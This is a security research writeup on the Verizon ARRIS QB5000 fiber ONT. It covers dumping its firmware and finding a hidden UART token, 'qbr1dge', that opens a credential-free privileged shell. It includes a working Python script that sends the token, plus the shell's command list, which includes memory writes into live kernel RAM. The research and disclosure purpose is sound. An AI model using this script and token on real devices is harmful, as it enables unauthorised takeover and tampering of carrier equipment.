ARRIS QB5000: Backdoor Shell via Firmware String Tracing

Date: 2026-06-21

Target(s): Verizon ARRIS QB5000 ONT, BroadLight BL2348, MIPS4KEc big-endian, VxWorks 5.5.1.

This is a short writeup on how we went from a dumped NOR flash image to an interactive privileged shell on a carrier-deployed fiber ONT. No network access required. Just UART, a firmware image, and string tracing.

Starting Point

The ARRIS QB5000 is a Verizon GPON ONT. It runs VxWorks 5.5.1 on a BroadLight BL2348 SoC. The board has a 14-pin EJTAG header and a 4-pin UART header, both unlabeled. UART runs at 9600 8N1.

Firmware Dump

The NOR flash is a Spansion S29GL128S10TFIV2 in a TSOP-56 package. It was desoldered and read directly with a Revelprog-IS programmer. The raw dump is 16,777,216 bytes (16 MB).

S29GL128S10TFIV2@TSOP56_20260509_20143-VerizonONT.BIN          17M  raw dump (16-bit bus, as-read)
S29GL128S10TFIV2@TSOP56_20260509_20143-VerizonONT.byteswap.BIN  17M  byte-swapped, Ghidra-ready

The chip uses a 16-bit bus in big-endian word order. Each 16-bit word is stored high-byte-first on the bus, but the Revelprog reads it as two separate bytes per word with the low byte first. The result is that every pair of adjacent bytes in the raw dump is swapped relative to what the CPU sees. A simple byte-swap pass corrects this before loading into Ghidra or r2.

python3 -c "
d = open('VerizonONT.BIN','rb').read()
out = bytearray()
for i in range(0, len(d), 2):
    out += bytes([d[i+1], d[i]])
open('VerizonONT.byteswap.BIN','wb').write(out)
"

After the swap the VxWorks magic and symbol table are immediately visible. The kernel blob sits inside a TrueFFS partition compressed with gzip. Binwalk locates it and the extracted image loads at 0x80010000.

Symtab Extraction

VxWorks 5.5 ships with a symbol table embedded directly in the binary. Each entry is a fixed-size struct: an 8-byte hash node, a 4-byte name pointer, a 4-byte value (the function address), and a 2-byte type field. We scanned for known name pointers and pulled the value field sitting 4 bytes after each match.

A short Python scan over the firmware gave us function addresses for everything we needed:

arprequest     0x8050fbe8
arpioctl       0x80511dc4
ipAttach       0x804f8c1c
ifAddrSet      0x804e9298
motbl dispatch 0x802daad8

Finding the Backdoor

With the symbol table resolved we started tracing strings. The firmware string pool is dense with CLI command names, error messages, and format strings. Most of them are boring. One was not.

The string qbr1dge appeared in the pool with no surrounding help text, no usage string, and no echo path. Tracing the reference in Ghidra led directly into the main CLI dispatch loop where it was compared against inbound UART input as a silent branch. Not listed in the command table, not shown in help, not printed anywhere.

The Script

With a target in hand, we wrote uart_shell.py to connect to the UART and send the token. It opens the serial port, fires qbr1dge, and hands the session to the user interactively. Passing no-backdoor skips the trigger for cases where the device is already at SHELL> or where the IOT shell command is preferred instead.

#!/usr/bin/env python3
"""
uart_shell.py - Interactive UART shell for ARRIS QB5000 via qbr1dge backdoor

Usage: python3 uart_shell.py [--port /dev/ttyUSB2] [--baud 9600]

This script:
1. Connects to the device UART
2. Automatically sends 'qbr1dge' to activate the admin SHELL backdoor
3. Opens an interactive session so you can type commands directly

Note: The ONT needs to be fully booted and idle before executing the script.

"""

import serial
import sys
import time
import threading
import argparse
import select


def main():
    parser = argparse.ArgumentParser(description='QB5000 UART SHELL via qbr1dge')
    parser.add_argument('--port', default='/dev/ttyUSB2', help='UART port')
    parser.add_argument('--baud', type=int, default=9600, help='Baud rate')
    parser.add_argument('--no-backdoor', action='store_true', help='Skip qbr1dge (if already in SHELL)')
    args = parser.parse_args()

    print(f'[*] Connecting to {args.port} at {args.baud}...')
    try:
        ser = serial.Serial(args.port, args.baud, timeout=0.1)
    except Exception as e:
        print(f'[!] Failed to open serial port: {e}')
        sys.exit(1)

    # Background reader thread
    done = threading.Event()
    def reader():
        while not done.is_set():
            try:
                d = ser.read(256)
                if d:
                    sys.stdout.write(d.decode('ascii', errors='replace'))
                    sys.stdout.flush()
            except:
                pass
    t = threading.Thread(target=reader, daemon=True)
    t.start()

    if not args.no_backdoor:
        print(f'[*] Activating qbr1dge backdoor ...')
        # Press enter a few times to clear the status screen
        ser.write(b'\r\n')
        time.sleep(0.5)
        ser.reset_input_buffer()
        # Send backdoor
        ser.write(b'qbr1dge\r')
        time.sleep(3)
        print()
        print('[*] If you see a prompt above, the backdoor worked!')
        print('[*] Type commands at the SHELL> prompt. Ctrl-C to exit.')
        print()

    # Interactive loop
    try:
        while True:
            try:
                line = input()
            except EOFError:
                break
            ser.write((line + '\r').encode())
            time.sleep(0.1)
    except KeyboardInterrupt:
        print('\n[*] Exiting...')
    finally:
        done.set()
        ser.close()


if __name__ == '__main__':
    main()

IOT CLI

When the script connects, the UART console is sitting at the ONT1000GT4> IOT CLI prompt. Running help from here shows the available commands:

ONT1000GT4> help

 ONT Command Summary:

acceptsw   : Update default boot image pointer to the running image
clear      : Clear IOT ARP cache, IOT logs or statistics
exit       : Exit IOT (same as logout, quit)
help       : Command summary
history    : Display command history
logout     : Logout of IOT (same as exit, quit)
qbshell    : Run the QBSHELL
pshell     : Run the PSHELL
quit       : Quit IOT (same as exit, logout)
reset      : Reset IOT
set        : Change IOT settings
shell      : Run the SHELL
show       : Show IOT settings
test       : Test IOT functions

Three separate shell commands are exposed: shell, pshell, and qbshell. All route into the same elevated SHELL> context. The script sends qbr1dge instead — a token not listed here and not shown in help which hits a silent branch in the dispatch loop and produces the same result. After certain reboot sequences only one of the four paths will be accepted, so having all of them documented matters.

Deep Shell Entry

Sending any shell at the IOT prompt triggers the backdoor branch. The device responds with a Motorola copyright banner, an ASCII art logo, and drops into SHELL>:

ONT1000GT4> qbr1dge



                              0                0
                              00              00
                              00              00
                             000              000
                             0000            0000
                            00000            00000
                            000000          000000
                           0000000          0000000
                           00000000        00000000
                          000000000        000000000
                          0000000000      0000000000
                         00000000000      00000000000
                         000000000000    000000000000
                        000000  00000    00000  000000
                        000        000  000        000
                       000          00  00          000
                       00            0000            00
                      00              00              00
                      00              00              00
                     00                                00
                     00                                00
                    00                                  00

Copyright (c) 1999-2011, Motorola, Inc.
Welcome to SHELL...


SHELL>

No credentials. No log entry. This is a privileged QSH (BroadLight QualSoft Shell) context with direct access to memory operations and hardware registers.

SHELL Command Reference

Running help inside SHELL> returns the full command list. These are the verified commands from the live device:

CommandDescription
alarmalarm task Interface
allegroAllegro Debug Commands
auto_logoffSet/get auto logoff mode
boot_flash_crc_testRun CRC check on BOOT Flash
bmfdumpBig Mighty Fine Dump
calCalibrate Triplexer
caldumpQuery Triplexer Calibration Information
calsetSet Calibration Parameters
caltestTest Triplexer Calibration
clear_grantsClear grant assignment(s)
clear_iot_nvramInvalidate/clear the ONT NVRAM persistent settings
connConnection modification command
debugDebug Library
debugfSet/get debug flags, clear, display debug log
disable_churningDisable churning
dnldDownload Interface
dot1x802.1x Debug Commands
dsmsgDownstream messager CLI
dumperrorlogDump the error log
ecfmEthernet CFM Commands
enable_churningEnable churning
enable_dscellsEnable DS Cells
enable_dspacketsEnable DS Packets
enable_uscellsEnable US Cells
enable_uspacketsEnable US Packets
eqpEquipment Manager CLI
ethernet_lpbk_testPerform the Ethernet External Loopback test
eventEvent task Interface
exitExit to CLI
fdiFault Manager CLI
get_sw_versionDNLD Task Test
get_uptimeGet ONT time since boot [days:hours:minutes:seconds]
gettimeGet (if set) and display the system clock
hAbbreviation for the "history" command
helpList of all QBSHELL commands
historyDisplay command history
hresetHard Reset the ONT
init_rangingInitialize ranging parameters
iptvIPTV Debug Commands
ledLED Manager CLI
leds_testTest the LEDs
log_dumpDump the contents of the SRAM log buffer
log_initInit the contents of the SRAM log buffer
memory_readRead a Memory location
memory_testTest any Memory location
memory_verifyVerify a Memory location
memory_writeWrite a Memory location
mfgmodeManufacturing Mode CLI
mntcMntc Manager CLI
mocaMoCA Interface
motblMot BroadLight API set
msgMsg CLI
omccOMCC Interface
blpotsQVAPI Debug Commands
prcnPRCN Interface
qbiddisplayDisplay the board ID record
qbidmodifyDisplay and modify the board ID record
qbidupdateUpdate the board ID record
qbversionDisplay software version
quitQuit to CLI
rom_resetReset the ONT via the ROM reset vector address
acceptimageAccept Specified SW Image
set_dest_addrSet Destination Address
set_range_delaySet Range Delay
set_rt_addressSet RT Address
set_shadow_keySet Key
settimeSet the ONT system clock
sffSFF Optics Commands
showimagesShow running and active image versions
shwmSHWM Interface
statStat Interface
testDiagnostic Command Shell
test_functionSample command which accepts two parameters
trafficdescTraffic Desc modification command
update_shadow_keyUpdate Key
usmsgUpstream Message CLI
vinQVAPI/Vinetic Debug Commands
voipVoIP Debug Commands
quUpdate the board ID record

The commands of immediate research interest are memory_read, memory_write, motbl, mfgmode, clear_iot_nvram, omcc, sff (SFP optics), bmfdump, and allegro (debug interface). The memory_write command reaches live VxWorks kernel RAM including code segments, making runtime patching possible without halting the CPU over JTAG.

Summary

The full chain from chip to live shell:

The backdoor string is hardcoded in the firmware image. The IOT CLI exposes shell, pshell, and qbshell as documented commands that reach the same context without needing the hidden token. Physical UART access is the only requirement.